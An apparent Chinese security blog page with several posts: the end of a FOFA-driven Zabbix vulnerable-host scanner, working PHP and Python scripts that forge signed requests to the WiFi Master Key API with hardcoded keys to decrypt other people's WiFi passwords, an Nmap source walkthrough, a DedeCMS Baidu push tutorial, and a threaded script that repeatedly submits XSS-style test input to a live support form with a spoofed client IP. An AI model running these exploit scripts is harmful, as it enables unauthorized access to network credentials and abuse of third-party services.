                    print zabbix_url,adminmd5 
        except: 
            pass
          
if __name__=="__main__": 
      
    if len(sys.argv)!=2: 
        print "Usage:"+"python"+" fofa_zabbix.py "+"keywords"
        print "example:"+"python fofa_zabbix.py title=zabbix"
        sys.exit() 
    else: 
        vulwebsearch(sys.argv[1])

WIFI万能钥匙密码查询接口

发布时间:August 11, 2015 // 分类:PHP,开发笔记,工作日志,windows // 5 Comments

拜读了《WIFI万能钥匙密码查询接口算法破解(可无限查询用户AP明文密码)》http://www.wooyun.org/bugs/wooyun-2015-099268一文

通过程序包分析算法(说一下在,各种key,salt明文存储,连混淆哪怕是字符拼接都没有。。。)

这个是查询密码用到的数据包,以及参数中sign(签名)的算法,其实就是这些数据进行排序后用salt算个md5。新版本的万能钥匙还有个retSn,实现链式认证,也能突破,但这个报告只说1.x版本的API问题(1.x时代很多细节明显没有考虑完善,基本只靠sign做安全)

<?php
//some code from http://www.wooyun.org/bugs/wooyun-2015-099268
$bssid = "c8:3a:35:fa:b8:80";
$ssid = "Podinns2F03";

if(isset($bssid) && isset($ssid)){
//update salt
    $ret = request($bssid, $ssid, md5(rand(1, 10000)));
    $ret = json_decode($ret);

    $ret = request($bssid, $ssid, $ret->retSn);
    $ret = json_decode($ret);
    if($ret->retCd == 0){
        if($ret->qryapwd->retCd == 0){
            $list = $ret->qryapwd->psws;
            foreach($list as $wifi){
                echo 'SSID: '.$wifi->ssid."\n";
                echo 'PWD: '.decryptStrin($wifi->pwd)."\n";
                echo 'BSSID: '.$wifi->bssid."\n";
                if($wifi->xUser){
                    echo 'xUser: '.$wifi->xUser."\n";
                    echo 'xPwd: '.$wifi->xPwd."\n";
                }
            }
        }
        else{
            echo $ret->qryapwd->retMsg;
        }
    }
}
function request($bssid, $ssid, $salt, $dhid = 'ff8080814cc5798a014ccbbdfa375369'){
    $data = array();
    $data['appid'] = '0008';
    $data['bssid'] = $bssid;
    $data['chanid'] = 'gw';
    $data['dhid'] = $dhid;
    $data['ii'] = '609537f302fc6c32907a935fb4bf7ac9';
    $data['lang'] = 'cn';
    $data['mac'] = '60f81dad28de';
    $data['method'] = 'getDeepSecChkSwitch';
    $data['pid'] = 'qryapwd:commonswitch';
    $data['ssid'] = $ssid;
    $data['st'] = 'm';
    $data['uhid'] = 'a0000000000000000000000000000001';
    $data['v'] = '324';
    $data['sign'] = sign($data, $salt);

    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd');
    curl_setopt($curl, CURLOPT_USERAGENT,'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))');
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 
    curl_setopt($curl, CURLOPT_POST, true); // enable posting
    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($data)); // post images 
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
    $r = curl_exec($curl); 
    curl_close($curl);
    return $r;
}

function registerNewDevice(){
    $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$';

    $data = array();
    $data['appid'] = '0008';
    $data['bssid'] = $bssid;
    $data['chanid'] = 'gw';
    $data['dhid'] = $dhid;
    $data['ii'] = '609537f302fc6c32907a935fb4bf7ac9';
    $data['lang'] = 'cn';
    $data['mac'] = '60f81dad28de';
    $data['method'] = 'getDeepSecChkSwitch';
    $data['pid'] = 'qryapwd:commonswitch';
    $data['ssid'] = $ssid;
    $data['st'] = 'm';
    $data['uhid'] = 'a0000000000000000000000000000001';
    $data['v'] = '324';
    $data['sign'] = sign($data, $salt);
}

function sign( $array , $salt ){
    // 签名算法
    $request_str = '';
    // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort 
    ksort( $array );
    foreach ($array as $key => $value) {
        $request_str .= $value;
    }
    $sign = md5( $request_str . $salt );
    return strtoupper($sign);
}

function decryptStrin($str,$keys='k%7Ve#8Ie!5Fb&8E',$iv='y!0Oe#2Wj#6Pw!3V',$cipher_alg=MCRYPT_RIJNDAEL_128){
    //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
    //[length][password][timestamp]
    $decrypted_string = mcrypt_decrypt($cipher_alg, $keys, pack("H*",$str),MCRYPT_MODE_CBC, $iv);
    return substr(trim($decrypted_string),3,-13);
}
?>

说明:如何查看附近的WIFI

powershell或者cmd执行netsh wlan show network mode=bssid,将结果粘贴进去

air用户则

执行airport -s,将结果粘贴进去
如果提示没有airport,先执行
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport

我们qu查询huipu那个~

附上一个PYTHON查询脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author: iswin

from Crypto.Cipher import AES
import base64
import requests
import hashlib
import random
import json
import sys

def request(bssid,ssid,salt):
    url='http://wifiapi02.51y5.net/wifiapi/fa.cmd'
    headers={'useg_agent':'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))'}
    data={'appid':'0008','bssid':bssid,'chanid':'gw','dhid':'ff8080814cc5798a014ccbbdfa375369','ii':'609537f302fc6c32907a935fb4bf7ac9','lang':'cn','mac':'60f81dad28de','method':'getDeepSecChkSwitch','pid':'qryapwd:commonswitch','ssid':ssid,'st':'m','uhid':'a0000000000000000000000000000001','v':'324'}
    data['sign']=md5(''.join([data[k] for k in sorted(data.keys())]),salt).upper()
    return requests.post(url,data, headers=headers).text

def md5(str,salt):
    m = hashlib.md5()   
    m.update(str+salt)
    return m.hexdigest() 

def decrypt(data):
    PADDING = '\0'
    key = 'k%7Ve#8Ie!5Fb&8E'
    iv = 'y!0Oe#2Wj#6Pw!3V'
    recovery = AES.new(key, AES.MODE_CBC, iv).decrypt(str(bytearray.fromhex(data)))
    return recovery.rstrip(PADDING)[3:-13]

if __name__ == '__main__':
    if(len(sys.argv)<2):
        print 'python wifi.py bssid ssid\nExample:python wifi.py c8:3a:35:fa:b8:80 Podinns2F03'
        exit()
    try:
        bssid=sys.argv[1]
        ssid=sys.argv[2]
        retSn=json.loads(request(bssid,ssid,md5(str(random.randint(1, 100000)),'')))['retSn']
        response=json.loads(request(bssid,ssid,retSn))
        if int(response['qryapwd']['retCd']) !=0:
            print 'ERROR:'+response['qryapwd']['retMsg']
            exit()
        password=response['qryapwd']['psws'][bssid]['pwd']
        print 'ssid:%s\nbssid:%s\npasswd:%s'%(ssid,bssid,decrypt(password))
    except KeyError:
        print 'ERROR:BSSID('+bssid+') NOT FOUND'
    

Nmap源码分析(服务与版本扫描)

发布时间:August 7, 2015 // 分类:开发笔记,运维工作,工作日志,linux,VC/C/C++,转帖文章,windows // No Comments

  Nmap提供了丰富的命令行选项(100多个选项),所以Nmap的命令行用法既可以简单到直接输入nmap targetip,也可以复杂到添加几十个选项对扫描过程进行性能优化。对Nmap的各类命令行选项有个总体把握,是熟练使用Nmap的先决条件。因此,这里以思维导图方式将Nmap的常用选项绘制出来,给用户清晰直观的印象。

  Nmap的思维导图(Mindmap)

  下载地址:http://aspirationflowspace.googlecode.com/files/nmap_usage_mindmap.png

Nmap源码分析(服务与版本扫描)

 

  在进行端口扫描后,Nmap可以进一步探测出运行在端口上的服务类型及应用程序的版本。目前Nmap可以识别几千种服务程序的签名(Signature),覆盖了180多种应用协议。比如,端口扫描检测到80端口是开放的,可以通过服务与版本扫描来确定其实际运行的协议(正常情况下是HTTP)及Web服务器名称及版本(比如是Apache xxx.xxx或者Microsoft IIS等)。

 

 

  扫描原理是服务指纹(或称签名)对比匹配。Nmap内部包含了几千种常见服务指纹的数据库(nmap-service-probes),对目标端口进行连接通信,产生当前端口的服务指纹,再与指纹数据库对比,寻找出匹配的服务类型。

  服务与版本侦测主要分为以下几个步骤:

1.        首先检查open与open|filtered状态的端口是否在排除端口列表内。如果在排除列表,将该端口剔除。

2.        如果是TCP端口,尝试建立TCP连接。尝试等待片刻(通常6秒或更多,具体时间可以查询文件nmap-services-probes中ProbeTCP NULL q||对应的totalwaitms)。通常在等待时间内,会接收到目标机发送的“Welcome Banner”信息。nmap将接收到的Banner与nmap-services-probes中NULLprobe中的签名进行对比。查找对应应用程序的名字与版本信息。

3.        如果通过“Welcome Banner”无法确定应用程序版本,那么nmap再尝试发送其他的探测包(即从nmap-services-probes中挑选合适的probe),将probe得到回复包与数据库中的签名进行对比。如果反复探测都无法得出具体应用,那么打印出应用返回报文,让用户自行进一步判定。

4.        如果是UDP端口,那么直接使用nmap-services-probes中探测包进行探测匹配。根据结果对比分析出UDP应用服务类型。

5.        如果探测到应用程序是SSL,那么调用openSSL进一步的侦查运行在SSL之上的具体的应用类型。

6.        如果探测到应用程序是SunRPC,那么调用brute-forceRPC grinder进一步探测具体服务。

 

服务扫描用法

-sV: 指定让Nmap进行版本侦测

--version-intensity<level>: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。

--version-light: 指定使用轻量侦测方式 (intensity 2)

--version-all: 尝试使用所有的probes进行侦测 (intensity 9)

--version-trace: 显示出详细的版本侦测过程信息。

2   实现框架
下面先介绍服务与版本扫描涉及到的源文件与库、核心Class,然后介绍服务扫描的核心函数实现流程及流程的细节。
 
2.1  文件组织

service_scan.cc/service_scan.h

服务扫描的核心功能都在此两个文件中实现,文件结构清晰简洁,代码行数总共3000余行。与端口扫描部分类似,服务扫描也定义了不少类与接口函数。

nmap-service-probes

此文件是nmap服务扫描所需的数据库文件,包括定制的探测包及预期的回复包,及识别服务类型的具体匹配方式。

下面摘取其中片段,简单了解其结构。

Probe TCPNULL q||
# Wait forat least 6 seconds for data.  It used tobe 5, but some
# smtpservices have lately been instituting an artificial pause (see
#FEATURE('greet_pause') in Sendmail, for example)
totalwaitms6000
 
match 1c-server m|^S\xf5\xc6\x1a{|p/1C:Enterprise business management server/
 
match4d-server m|^\0\0\0H\0\0\0\x02.[^\0]*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$|sp/4th Dimension database server/
 
match acapm|^\* ACAP IMPLEMENTATION\"CommuniGateProACAP(\d[−.\w]+)\" |p/CommuniGate Pro ACAP server/ v/$1/ i/for mail client preference sharing/
match acmpm|^ACMP Server Version ([\w._-]+)\r\n| p/Aagon ACMP Inventory/ v/$1/
matchactivemq m|^\0\0\0.\x01ActiveMQ\0\0\0|s p/Apache ActiveMQ/

第一行Probe关键字表示定义一个探测包,其类型为TCP,名字为NULL,探测字符串为空(q||)。以#开头为注释行,为读者提供参考信息。随后定义默认服务等待时间totalwaims 6000,即6秒钟。后面的match行,定义服务匹配的情况,即在此条件下认为此端口是运行的具体服务类型。match行的格式如下:

match <service> <pattern> [<versioninfo>]

service为服务名称,pattern为匹配的模式(正则表达式),versioninfo为该服务对应的版本信息。这里以match 1c-serverm|^S\xf5\xc6\x1a{| p/1C:Enterprise business management server/为例,当使用NULL探测包获取的返回包中包含:m|^S\xf5\xc6\x1a{|模式(该正则表达式含义:以字符S开头,紧随其后三个字符\xf5\xc6\x1a)时,并且从提取出厂商产品名字与1C:Enterprise businessmanagement server相符,那么判断该服务为1c-server。

其他的行与此类似,这里就不再赘述。

 

nsock library

服务与版本扫描部分用到nsock库,该库设计用于并发处理网络事件。在Nmap源码树下,有单独的nsock目录来管理nsock库。此处我们仅需要关注nsock.h文件中提供的API函数即可。

2.2  核心类分析

  服务扫描过程中,主要构建了5个类,分别描述不同层次的数据类型。下面我们将以宏观到微观的思路,依次查看每个类的结构与用法。其中ServiceGroup从整理的角度管理服务扫描过程;ServiceNFO则具体的负责管理每一种服务扫描过程;AllProbes负责管理所有用于服务扫描的探测包;ServiceProbe则描述每一个进行服务探测的探测包细节(对应nmap-service-probes中描述的探测包);ServiceProbeMatch则描述探测包的匹配类型(每一个ServiceProbe可能包含多种匹配类型)。

  下面依次查看每个类的细节。

 

2.2.1ServiceGroup

  ServiceGroup用于管理一组目标机进行服务扫描的信息。这个类非常重要,负责统一管理其他具体的信息:如单个服务扫描信息(ServiceNFO)、全部探测包信息(AllProbes)、服务探测包信息(ServiceProbe)等等。

  该类主要包含以下具体内容:

  1. 扫描完成的服务列表services_finished,记录目前已经扫描完毕的服务。
  2. 正在扫描的服务列表services_in_progress。多个服务可能在同时并发地被探测,所以此处将当前正在扫描的服务全部记录在该列表中。
  3. 剩余服务列表services_remaining,当前还没有开始探测的服务被放置在该列表中。在服务扫描初始化时,所有的服务的都被放置在列表中。
  4. 最大的并发探测包ideal_parallelism,用于确定同时发送服务探测包的并发数量,此值取决于用户配置的时序参数和具体网卡的支持能力等因素。若配置时序为-T4,那么会将ideal_parallelism设置40。
  5. 扫描进度测量器ScanProgressMeter,用于记录服务扫描的进度情况,以便能够实时地反馈给用户。在控制台界面按下普通按键(如按下空格键,不包括“vVdDp?”字符,这几个字符有特殊含义),Nmap会打印出当前的扫描进度。
  6. 超时主机的数量,记录当前扫描超时的主机数量。
// This holds theservice information for a group of Targets being service scanned.

class ServiceGroup {

public:

  ServiceGroup(vector<Target *>&Targets, AllProbes *AP);

  ~ServiceGroup();

  list<ServiceNFO *> services_finished;// Services finished (discovered or not)

  list<ServiceNFO *>services_in_progress; // Services currently being probed

  list<ServiceNFO *> services_remaining;// Probes not started yet

  unsigned int ideal_parallelism; // Max (anddesired) number of probes out at once.

  ScanProgressMeter *SPM;

  int num_hosts_timedout; // # of hosts timedout during (or before) scan

};

2.2.2ServiceNFO

  ServiceNFO负责管理特定的服务的探测细节。上述的ServiceGroup中就是管理ServiceNFO对象组成的列表。

  ServiceNFO类包含以下信息:

  1. 服务指纹的管理(提供添加与获取等操作)
  2. 服务扫描对应的主机(Target *target)
  3. 服务探测匹配的信息(是否匹配、是否softmatch、ssl配置、产品、版本、CPE等信息)
  4. 管理探测包(服务扫描过程可能需要发送多个探测包,在此对当前探测包、下一个探测包进行管理)
  5. 管理回复包(提供添加与获取等操作)。
  6. 服务扫描所需的全部探测包AllProbes *AP;

 

2.2.3AllProbes

  AllProbes负责管理全部的服务探测包(Probes)。该类的对象从nmap-service-probes数据库文件中解析出探测包及匹配方式等信息,将之管理起来。在后续服务扫描时,在此对象中来按需取出探测包发送即可。

  该类主要包含以下几个方面内容:

  1. 探测包管理(探测包向量std::vector<ServiceProbe *>probes、NULL探测包等)
  2. 编制回退数组(compileFallbacks),当回复包无法匹配当前字符串时,允许回退到上一次匹配字符串。
  3. 管理排除端口列表。在nmap-service-probes中指定需排除的服务扫描,默认排除TCP的9100-9107端口,此类打印机服务会返回大量的无用信息。
  4. 服务初始化接口与释放接口。

 

2.2.4ServiceProbe

  ServiceProbe负责管理单个的服务探测包的详细信息。服务探测包具体的信息来自nmap-service-probes数据库文件,当AllProbes类在初始化时会读取该文件,并依据其每个探测信息创建ServiceProbe对象,放置在AllProbes内部的向量std::vector<ServiceProbe *>probes中。

  该类主要包含以下内容:

  1. 探测包名字,比如探测包名字叫NULL或GenericLines等等。
  2. 探测包字符串及字符串长度。非NULL探测包都包含探测需要字符串,所以此处对该信息进行管理。例如,对于探测包:Probe TCP GenericLinesq|\r\n\r\n|,其探测字符串为\r\n\r\n。
  3. 允许的端口及SSL端口。除NULL外,探测包通常只会针对特定的端口扫描才有效,所以此处即管理该探测包允许的扫描的端口。
  4. 探测包的协议类型probeprotocol,只能是TCP或UDP。
  5. 可被探测的服务类型detectedServices。与允许端口类似,探测包可能只能用于某些特定的服务的探测,所以此处统一管理能被探测的服务类型。
  6. 服务探测包匹配管理。该类中使用向量std::vector<ServiceProbeMatch*> matches来管理此服务探测包可能会匹配的情况,匹配情况对应到nmap-service-probes中的match与softmatch行。
  7. 探测回退数组(fallback array)的管理,此对应到AllProbes中compileFallbacks()函数,此处管理具体的服务探测包进行回退的数组。数组结构:ServiceProbe*fallbacks[MAXFALLBACKS+1];
  8. 测试是否匹配,此接口函数用于测试某个回复包是否与预期结果匹配。
  9. 其他接口函数,管理其他普通信息。

 

2.2.5ServiceProbeMatch

  ServiceProbeMatch用于管理特定的服务探测包的匹配信息(match)。nmap-service-probes文件中每一个match和softmatch行都对应到该类的对象。

该类信息比较丰富,以下仅简要描述:

  1. 探测包匹配详细信息(版本、产品、CPE等等)
  2. 探测匹配情况(匹配类型、匹配字符串、正则表达式等等)
  3. 测试是否匹配接口函数。若匹配成功,返回详细的服务与版本信息。

 

2.3  代码流程

  在nmap.cc文件的nmap_main()函数中,如果配置了服务扫描,那么调用service_scan()函数(位于service_scan.cc文件中)。服务扫描的内容主要在service_scan()函数中完成。

  service_scan()函数比较简洁,只有120多行代码。因为服务扫描涉及到具体详细的操作都封装到类或其他的静态非成员函数中了,而并发处理网络事件部分调用nsock库来处理。

2.3.1代码流程图

2.3.2流程解析

  首先在nmap_main()中将扫描目标机传入service_scan()函数中,以便根据目标机端口状态来筛选需要扫描的服务。

  然后,在AllProbes:: service_scan_init()读取nmap-service-probes文件,解析出被排除的端口、扫描过程需要的探测包、探测包匹配等详细信息。将信息存放在AllProbes对象内。

  随后,根据Targets和AllProbes创建服务组对象(ServiceGroup),从Targets中解析出开放的端口与处于open|filtered状态的端口,创建对应的ServiceNFO对象,该服务等待被扫描。并创建扫描进度测量器,以便后续打印出扫描进度;确定最佳的扫描并发度ideal_parallelism。

  然后,确定排除端口。默认情况下,排除nmap-service-probes中指定的端口Exclude T:9100-9107;而如果用户命令行指定--all-ports,那么不排除Exclude指定的端口。

为每个目标机设置超时时钟,获取当前时间。

  然后开始进入关键环节,创建nsock pool,即nsock处理并发探测包的事件池。在创建nsock pool后,服务扫描才能使用nsock建立连接并注册事件。

根据用户需求,设置服务扫描的trace信息。

  若配置了openssl时,将其速度设置为最大。因为对于服务扫描,仅关心端口的服务类型,不必在安全性花费过多时间。

  然后开始启动少量的服务探测包(launchSomeServiceProbes)。根据前述步骤得出的服务探测包,创建nsock niod(io描述符,类似于文件描述符,管理输入输出),完成地址等信息配置,然后建立CP连接或UDP连接,在建立连接后向nsock pool注册事件。此后,该连接的事件将交给nsock loop来统一处理。

  创建nsock主循环(nsock_loop),在此循环中来接收网络事件(例如接收到回复包),调用相应的处理函数对事件响应(函数servicescan_read_handler()、servicescan_write_handler()、servicescan_connect_handler())。在处理函数中,扫描完成了某些服务后,会再调用launchSomeServiceProbes()函数加载剩余的服务进来扫描,以此整个服务扫描过程就被有序地连接起来了。

  当nsock循环退出,检查是否有错,并删除nsock pool对象。

  打印出调试信息,处理最终扫描结果。

3  源码注释

/* Execute a service fingerprinting scan against all open ports of the
   Targets specified. */
///针对指定目标机的开放的端口进行服务指纹扫描,
///此处会用到Nmap的nsock库(并发的Socket Event处理库)
int service_scan(vector<Target *> &Targets) {
  // int service_scan(Target *targets[], int num_targets)
  AllProbes *AP;
  ServiceGroup *SG;
  nsock_pool nsp;
  struct timeval now;
  int timeout;
  enum nsock_loopstatus looprc;
  struct timeval starttv;

  if (Targets.size() == 0)
    return 1;

  AP = AllProbes::service_scan_init();///获取AllProbes对象,AllProbes仅维护一个Static对象
  ///在service_scan_init()中将读取nmap-service-probes文件,解析出需要的探测包,并存放在
  ///AllProbes中std::vector<ServiceProbe *> probes向量中。


  // Now I convert the targets into a new ServiceGroup
  ///使用Targets向量与AllProbes创建服务组ServiceGroup,从Targets中提取open端口及
  ///open|filtered端口,放入services_remaining等待进行服务扫描。
  ///在创建服务组时,确定出服务扫描的最佳并发度ideal_parallelism
  SG = new ServiceGroup(Targets, AP);

  if (o.override_excludeports) {
    ///覆盖被排除端口,当命令行中指定--all-ports时会走到此分支。
    ///被排除的端口是指在nmap-service-probes文件用Exclude指令定义的端口。
    if (o.debugging || o.verbose) log_write(LOG_PLAIN, "Overriding exclude ports option! Some undesirable ports may be version scanned!\n");
  } else {
    ///从ServiceGroup中移除被排除的端口,Nmap默认会排出掉9100-9107与打印机相关的服务,
    ///因为此类服务只是简单返回Nmap发送过去的探测包,会产生大量的垃圾的流量。
    ///默认情况下在nmap-service-probes文件头部定义:Exclude T:9100-9107
    remove_excluded_ports(AP, SG);
  }
  ///为所有需要进行服务扫描的主机设置超时值
  startTimeOutClocks(SG);

  if (SG->services_remaining.size() == 0) {
    delete SG;
    return 1;
  }
  
  gettimeofday(&starttv, NULL);
  if (o.verbose) {
    char targetstr[128];
    bool plural = (Targets.size() != 1);
    if (!plural) {
      (*(Targets.begin()))->NameIP(targetstr, sizeof(targetstr));
    } else Snprintf(targetstr, sizeof(targetstr), "%u hosts", (unsigned) Targets.size());

    log_write(LOG_STDOUT, "Scanning %u %s on %s\n", 
          (unsigned) SG->services_remaining.size(), 
          (SG->services_remaining.size() == 1)? "service" : "services", 
          targetstr);
  }

  // Lets create a nsock pool for managing all the concurrent probes
  // Store the servicegroup in there for availability in callbacks
  ///创建nsock pool,以使用nsock并发控制探测包
  if ((nsp = nsp_new(SG)) == NULL) {
    fatal("%s() failed to create new nsock pool.", __func__);
  }

  ///根据用户指定的packettrace配置,设置nsock的trace级别
  if (o.versionTrace()) {
    nsp_settrace(nsp, NULL, NSOCK_TRACE_LEVEL, o.getStartTime());
  }

#if HAVE_OPENSSL
  /* We don't care about connection security in version detection. */
  ///配置SSL时,关注传输速度,而不关注安全性本身,以加速服务扫描过程。
  nsp_ssl_init_max_speed(nsp);
#endif

  ///从service_remaining列表中找出满足条件的等待探测服务,对之进行配置,
  ///创建nsock文件描述符(niod),并通过nsock建立连接(如nsock_connect_tcp()),
  ///并将此探测服务移动到services_in_progress列表中。
  launchSomeServiceProbes(nsp, SG);

  // How long do we have before timing out?
  gettimeofday(&now, NULL);
  timeout = -1;

  // OK!  Lets start our main loop!
  ///nsock主循环,在此循环内处理各种探测包的事件(nsock event)
  ///在上述的launchSomeServiceProbes操作中,调用到nsock_connect_tcp/udp/sctp等,
  ///最终执行nsp_add_event函数向nsock pool添加等待处理的事件。
  looprc = nsock_loop(nsp, timeout);
  if (looprc == NSOCK_LOOP_ERROR) {
    int err = nsp_geterrorcode(nsp);
    fatal("Unexpected nsock_loop error.  Error code %d (%s)", err, strerror(err));
  }
  ///退出主循环后,删除nsock pool
  nsp_delete(nsp);

  if (o.verbose) {
    char additional_info[128];
    if (SG->num_hosts_timedout == 0)
      Snprintf(additional_info, sizeof(additional_info), "%u %s on %u %s",
        (unsigned) SG->services_finished.size(),  
        (SG->services_finished.size() == 1)? "service" : "services", 
        (unsigned) Targets.size(), (Targets.size() == 1)? "host" : "hosts");
    else Snprintf(additional_info, sizeof(additional_info), "%u %s timed out", 
           SG->num_hosts_timedout, 
           (SG->num_hosts_timedout == 1)? "host" : "hosts");
    SG->SPM->endTask(NULL, additional_info);
  }

  // Yeah - done with the service scan.  Now I go through the results
  // discovered, store the important info away, and free up everything
  // else.
  ///对服务扫描结果的处理
  processResults(SG);

  delete SG;

  return 0;
}

from:http://blog.csdn.net/aspirationflow/article/details/7910350

织梦实时推送sitemap地址给百度

发布时间:August 1, 2015 // 分类:工作日志,PHP,代码学习,生活琐事 // No Comments

很久前,织梦自己有一套主动ping百度的插件,但是后来好像有几年用不了了.最近百度推出了实时推送链接地址给百度,这样肯定比sitemap方便多了.而且也可以确保文章的原创性.不知道为什么我在网上还没看到织梦有这样的教程,所以我就根据百度接口写了个教程出来,给各位织梦爱好者看看.

关于织梦的百度实时推送我写了两种方法,大家可以自行选择:

1.手动创建一个文件,每天访问这个文件就可以把当天的全部文章推送到百度搜索引擎.在根目录下面创建一个tuisong.php  访问后会返回百度接口结果
 

<?php
require_once ("include/common.inc.php");
require_once "include/arc.partview.class.php";
require_once('include/charset.func.php');

$year = date("Y");
$month = date("m");
$day = date("d");
$dayBegin = mktime(0,0,0,$month,$day,$year);//当天开始时间戳
$dayEnd = mktime(23,59,59,$month,$day,$year);//当天结束时间戳

$query = "SELECT arch.id,types.typedir FROM dede_arctype as types inner join dede_archives as arch on types.id=arch.typeid where pubdate<".$dayEnd." AND pubdate>".$dayBegin."";  //这里dede换成你们自己的表前缀


$urls="";
                
$dsql->Execute('arch.id,types.typedir',$query);
while($row = $dsql->GetArray('arch.id,types.typedir'))
{
    $urls.="http://www.baidu.com".str_replace("{cmspath}","",$row['typedir'])."/".$row[id].".html".",";    
    //将上边的http://baidub.com换成你的网址
}
$urls=substr($urls,0,-1);
$urls    = explode(",",$urls);

$api = 'http://data.zz.baidu.com/urls?site=www.baidu.com&token=hereistoken'; // 前边的site换成自己的site    xxx换成自己的密钥
$ch = curl_init();
$options =  array(
    CURLOPT_URL => $api,
    CURLOPT_POST => true,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POSTFIELDS => implode("\n", $urls),
    CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
);
curl_setopt_array($ch, $options);
$result = curl_exec($ch);
echo $result.count($urls);
?>

查看推送反馈

推送成功

状态码为200,可能返回以下字段:
字段 是否必选 参数类型 说明
success int 成功推送的url条数
remain int 当天剩余的可推送url条数
not_same_site array 由于不是本站url而未处理的url列表
not_valid array 不合法的url列表

成功返回示例:

{
    "remain":4999998,
    "success":2,
    "not_same_site":[],
    "not_valid":[]
}
推送失败
状态码为4xx,返回字段有:
字段 是否必传 类型 说明
error int 错误码,与状态码相同
message string 错误描述

失败返回示例:

{
    "error":401,
    "message":"token is not valid"
}

2、
    第二种是发布一篇文章,就像百度推送一次,这种比较方便,我就是用这种
   
    打开织梦后台的 article_add.php 文件.找到差不多262行的样子
    注意:如果你系统设置的-》核心选项

如果是否直接.加入以下代码,否则 注意下面的提示

    //百度推送
    $urls="http://www.baidu.com".$artUrl;//前面域名换成你自己的   如果上面图片选择的是是  就把"http://baidu.com". 去掉
    $urls    = explode(",",$urls);

    $api = 'http://data.zz.baidu.com/urls?site=www.0cx.cc&token=hereistoken'; // 前边site换成自己的site   xxx换成自己的密钥
    $ch = curl_init();
    $options =  array(
        CURLOPT_URL => $api,
        CURLOPT_POST => true,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POSTFIELDS => implode("\n", $urls),
        CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),
    );
    curl_setopt_array($ch, $options);
    $result = curl_exec($ch);   

 就OK了  ,如果想看添加成功没,可以在修改下面一两行的样子的代码

  请选择你的后续操作".$result.$urls[0].":

result是看百度返回的结果,urls是看你推送的url.

基本上就OK了,如果你想让修改文章的时候也事实推送,就类似我上面一样去修改article_edit.php就好了.

python之Thread初体验

发布时间:July 27, 2015 // 分类:开发笔记,运维工作,工作日志,代码学习,windows,python,生活琐事 // No Comments

最开始的原因是因为某个哥们在拿着burp反复的提交着某个页面的某个参数

看不下去了。建议拿脚本写一个来提交。然后要求使用多线程进行

#!python
#-*- coding:utf8 -*-
#Author saline
#Email nophacker@gmail.com

import requests,threading
from time import sleep, ctime

class MyThread(threading.Thread):
#创建MyThread类,用于继承threading.Thread类。
    def __init__(self,func,args,name=''):
    #使用类的初始化方法对func、args、name等参数进行初始化。
        threading.Thread.__init__(self)
        self.name=name
        self.func=func
        self.args=args
    
    def run(self):
        apply(self.func,self.args)
    #apply(func [, args [, kwargs ]]) 函数用于当函数参数已经存在于一个元组或字典中时,间接地调用函数。args是一个包含将要提供给函数的按位置传递的参数的元组。如果省略了args,任何参数都不会被传递,kwargs是一个包含关键字参数的字典。    

def post():
    header = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
       'Origin':'http://support.0day5.com',
       'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36',
       'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryuOYBiRdLALEyGT1o',
       'Referer':'http://support.0day5.com/request/new/',
       'Cookie':'SERVER_ID=yyyyyyyyyyyyyyyyyy; request_ticket_view=list; PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxx',
       'Accept-Language':'zh-CN,zh;q=0.8',
       'Accept-Encoding':'gzip, deflate',
       'X-client-IP':'127.0.0.1'}#好麻烦的。直接不打算继续使用了
    posturl = "http://support.0day5.com/request/new/"
    postdata='------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"yform_ticket_form\"\r\n\r\n1<\">testetstetst\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"TicketForm[requester_id]\"\r\n\r\n486347\">testetstetst\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"TicketForm[title]\"\r\n\r\n##\">testetstetst\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"TicketForm[field_1910]\"\r\n\r\nwww.0cx.cc\">testetstetst\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"TicketForm[content]\"\r\n\r\n<p>\r\n</p><p><br/>testetstetst</p>\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o\r\nContent-Disposition: form-data; name=\"file\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryuOYBiRdLALEyGT1o--'
    r = requests.post(posturl,postdata,headers = header)
    print r.history
    #打印状态码
threads = []
for i in xrange(20):
    t = MyThread(post,())
    threads.append(t)
    t.start()
    print 'end:%s' %ctime()
        

赶紧去看看自己的邮箱提醒

整合了最近整理的东西

发布时间:July 27, 2015 // 分类:开发笔记,运维工作,工作日志,代码学习,windows,python,生活琐事 // No Comments

最近整理了下几个扫描器的命令行运行的东西。

appscan

